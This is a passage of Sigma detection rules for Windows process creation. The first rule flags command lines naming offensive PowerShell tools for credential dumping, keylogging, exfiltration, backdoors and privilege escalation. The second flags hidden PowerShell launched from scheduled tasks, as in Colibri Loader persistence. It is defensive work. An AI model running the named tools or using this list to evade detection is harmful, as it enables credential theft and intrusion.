- https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/ # Invoke-TotalExec
- https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/ # Invoke-TotalExec
- https://github.com/calebstewart/CVE-2021-1675 # Invoke-Nightmare
- https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1
- https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html
- https://github.com/HarmJ0y/DAMP
- https://github.com/samratashok/nishang
- https://github.com/DarkCoderSc/PowerRunAsSystem/
- https://github.com/besimorhino/powercat
- https://github.com/Kevin-Robertson/Powermad
- https://github.com/adrecon/ADRecon
- https://github.com/adrecon/AzureADRecon
- https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
- https://github.com/The-Viper-One/Invoke-PowerDPAPI/
- https://github.com/Arno0x/DNSExfiltrator/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-02
modified: 2025-12-10
tags:
- attack.execution
- attack.discovery
- attack.t1482
- attack.t1087
- attack.t1087.001
- attack.t1087.002
- attack.t1069.001
- attack.t1069.002
- attack.t1069
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
# Note: Please ensure alphabetical order when adding new entries
CommandLine|contains:
- 'Add-Exfiltration'
- 'Add-Persistence'
- 'Add-RegBackdoor'
- 'Add-RemoteRegBackdoor'
- 'Add-ScrnSaveBackdoor'
- 'Check-VM'
- 'ConvertTo-Rc4ByteStream'
- 'Decrypt-Hash'
- 'Disable-ADIDNSNode'
- 'Disable-MachineAccount'
- 'Do-Exfiltration'
- 'Enable-ADIDNSNode'
- 'Enable-MachineAccount'
- 'Enabled-DuplicateToken'
- 'Exploit-Jboss'
- 'Export-ADR'
- 'Export-ADRCSV'
- 'Export-ADRExcel'
- 'Export-ADRHTML'
- 'Export-ADRJSON'
- 'Export-ADRXML'
- 'Find-Fruit'
- 'Find-GPOLocation'
- 'Find-TrustedDocuments'
- 'Get-ADIDNS' # Covers: Get-ADIDNSNodeAttribute, Get-ADIDNSNodeOwner, Get-ADIDNSNodeTombstoned, Get-ADIDNSPermission, Get-ADIDNSZone
- 'Get-ApplicationHost'
- 'Get-ChromeDump'
- 'Get-ClipboardContents'
- 'Get-FoxDump'
- 'Get-GPPPassword'
- 'Get-IndexedItem'
- 'Get-KerberosAESKey'
- 'Get-Keystrokes'
- 'Get-LSASecret'
- 'Get-MachineAccountAttribute'
- 'Get-MachineAccountCreator'
- 'Get-PassHashes'
- 'Get-RegAlwaysInstallElevated'
- 'Get-RegAutoLogon'
- 'Get-RemoteBootKey'
- 'Get-RemoteCachedCredential'
- 'Get-RemoteLocalAccountHash'
- 'Get-RemoteLSAKey'
- 'Get-RemoteMachineAccountHash'
- 'Get-RemoteNLKMKey'
- 'Get-RickAstley'
- 'Get-Screenshot'
- 'Get-SecurityPackages'
- 'Get-ServiceFilePermission'
- 'Get-ServicePermission'
- 'Get-ServiceUnquoted'
- 'Get-SiteListPassword'
- 'Get-System'
- 'Get-TimedScreenshot'
- 'Get-UnattendedInstallFile'
- 'Get-Unconstrained'
- 'Get-USBKeystrokes'
- 'Get-VaultCredential'
- 'Get-VulnAutoRun'
- 'Get-VulnSchTask'
- 'Grant-ADIDNSPermission'
- 'Gupt-Backdoor'
- 'HTTP-Login'
- 'Install-ServiceBinary'
- 'Install-SSP'
- 'Invoke-ACLScanner'
- 'Invoke-ADRecon'
- 'Invoke-ADSBackdoor'
- 'Invoke-AgentSmith'
- 'Invoke-AllChecks'
- 'Invoke-ARPScan'
- 'Invoke-AzureHound'
- 'Invoke-BackdoorLNK'
- 'Invoke-BadPotato'
- 'Invoke-BetterSafetyKatz'
- 'Invoke-BypassUAC'
- 'Invoke-Carbuncle'
- 'Invoke-Certify'
- 'Invoke-ConPtyShell'
- 'Invoke-CredentialInjection'
- 'Invoke-DAFT'
- 'Invoke-DCSync'
- 'Invoke-DinvokeKatz'
- 'Invoke-DllInjection'
- 'Invoke-DNSUpdate'
- 'Invoke-DNSExfiltrator'
- 'Invoke-DomainPasswordSpray'
- 'Invoke-DowngradeAccount'
- 'Invoke-EgressCheck'
- 'Invoke-Eyewitness'
- 'Invoke-FakeLogonScreen'
- 'Invoke-Farmer'
- 'Invoke-Get-RBCD-Threaded'
- 'Invoke-Gopher'
- 'Invoke-Grouper' # Also Covers Invoke-GrouperX
- 'Invoke-HandleKatz'
- 'Invoke-ImpersonatedProcess'
- 'Invoke-ImpersonateSystem'
- 'Invoke-InteractiveSystemPowerShell'
- 'Invoke-Internalmonologue'
- 'Invoke-Inveigh'
- 'Invoke-InveighRelay'
- 'Invoke-KrbRelay'
- 'Invoke-LdapSignCheck'
- 'Invoke-Lockless'
- 'Invoke-MalSCCM'
- 'Invoke-Mimikatz'
- 'Invoke-Mimikittenz'
- 'Invoke-MITM6'
- 'Invoke-NanoDump'
- 'Invoke-NetRipper'
- 'Invoke-Nightmare'
- 'Invoke-NinjaCopy'
- 'Invoke-OfficeScrape'
- 'Invoke-OxidResolver'
- 'Invoke-P0wnedshell'
- 'Invoke-Paranoia'
- 'Invoke-PortScan'
- 'Invoke-PoshRatHttp' # Also Covers Invoke-PoshRatHttps
- 'Invoke-PostExfil'
- 'Invoke-PowerDump'
- 'Invoke-PowerDPAPI'
- 'Invoke-PowerShellTCP'
- 'Invoke-PowerShellWMI'
- 'Invoke-PPLDump'
- 'Invoke-PsExec'
- 'Invoke-PSInject'
- 'Invoke-PsUaCme'
- 'Invoke-ReflectivePEInjection'
- 'Invoke-ReverseDNSLookup'
- 'Invoke-Rubeus'
- 'Invoke-RunAs'
- 'Invoke-SafetyKatz'
- 'Invoke-SauronEye'
- 'Invoke-SCShell'
- 'Invoke-Seatbelt'
- 'Invoke-ServiceAbuse'
- 'Invoke-ShadowSpray'
- 'Invoke-Sharp' # Covers all "Invoke-Sharp" variants
- 'Invoke-Shellcode'
- 'Invoke-SMBScanner'
- 'Invoke-Snaffler'
- 'Invoke-Spoolsample'
- 'Invoke-SpraySinglePassword'
- 'Invoke-SSHCommand'
- 'Invoke-StandIn'
- 'Invoke-StickyNotesExtract'
- 'Invoke-SystemCommand'
- 'Invoke-Tasksbackdoor'
- 'Invoke-Tater'
- 'Invoke-Thunderfox'
- 'Invoke-ThunderStruck'
- 'Invoke-TokenManipulation'
- 'Invoke-Tokenvator'
- 'Invoke-TotalExec'
- 'Invoke-UrbanBishop'
- 'Invoke-UserHunter'
- 'Invoke-VoiceTroll'
- 'Invoke-Whisker'
- 'Invoke-WinEnum'
- 'Invoke-winPEAS'
- 'Invoke-WireTap'
- 'Invoke-WmiCommand'
- 'Invoke-WMIExec'
- 'Invoke-WScriptBypassUAC'
- 'Invoke-Zerologon'
- 'MailRaider'
- 'New-ADIDNSNode'
- 'New-DNSRecordArray'
- 'New-HoneyHash'
- 'New-InMemoryModule'
- 'New-MachineAccount'
- 'New-SOASerialNumberArray'
- 'Out-Minidump'
- 'Port-Scan'
- 'PowerBreach'
- 'powercat '
- 'PowerUp'
- 'PowerView'
- 'Remove-ADIDNSNode'
- 'Remove-MachineAccount'
- 'Remove-Update'
- 'Rename-ADIDNSNode'
- 'Revoke-ADIDNSPermission'
- 'Set-ADIDNSNode' # Covers: Set-ADIDNSNodeAttribute, Set-ADIDNSNodeOwner
- 'Set-MacAttribute'
- 'Set-MachineAccountAttribute'
- 'Set-Wallpaper'
- 'Show-TargetScreen'
- 'Start-CaptureServer'
- 'Start-Dnscat2'
- 'Start-WebcamRecorder'
- 'Veeam-Get-Creds'
- 'VolumeShadowCopyTools'
condition: selection
falsepositives:
- Unknown
level: high
title: Potential Persistence Via Powershell Search Order Hijacking - Task
id: b66474aa-bd92-4333-a16c-298155b120df
related:
- id: 6e8811ee-90ba-441e-8486-5653e68b2299
type: similar
status: test
description: Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader
references:
- https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
author: pH-T (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-04-08
modified: 2023-02-03
tags:
- attack.privilege-escalation
- attack.execution
- attack.persistence
- attack.t1053.005
- attack.t1059.001
logsource:
product: windows
category: process_creation
detection:
selection:
ParentImage: 'C:\WINDOWS\System32\svchost.exe'
ParentCommandLine|contains|all:
- '-k netsvcs'
- '-s Schedule'
CommandLine|endswith:
- ' -windowstyle hidden'
- ' -w hidden'
- ' -ep bypass'
- ' -noni'
condition: selection
falsepositives:
- Unknown
level: high